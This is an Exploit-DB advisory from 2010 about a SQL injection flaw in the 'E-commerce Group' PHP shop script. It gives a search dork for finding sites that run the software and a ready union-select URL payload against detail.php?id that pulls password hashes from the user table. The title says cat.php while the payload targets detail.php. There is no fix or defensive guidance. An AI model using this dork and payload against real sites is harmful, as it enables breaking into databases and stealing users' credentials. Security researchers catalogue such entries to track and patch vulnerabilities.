E-commerce Group cat.php SQL Injection Vulnerability

2010-05-22T00:00:00
ID EDB-ID:12696
Type exploitdb
Reporter BLack Revenge
Modified 2010-05-22T00:00:00

Description

E-commerce Group (cat.php) SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            Exploit Title: E-commerce Group (cat.php) SQL Injection Vulnerability
# Date: 2010/05/21
# Author:BLack Revenge
# Software Link:
# Version:
# Tested on:
# CVE :
==============================
[#]E-commerce Group (cat.php) SQL Injection Vulnerability
[#]Founder: BLaCk RevenGe
Email:- ahmed.h4ck3r@gmail.com
WwW.AraB-ExplOiT.CoM[#]
AraB Expl0iT Cr3w
-----------------------------------------------------------
==============================
Dork :Designed and Developed by karkia <http://www.karkia.org/> E-commerce
Group. Copyright 2007

SQL Injection
http://www.Site.com/path/detail.php?id=1 -->SQL Injection

Demo:-
Password Injection #

http://www.localhost.com/shop/detail.php?id=-647+union+select+1,2,3,pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+user
----------------------------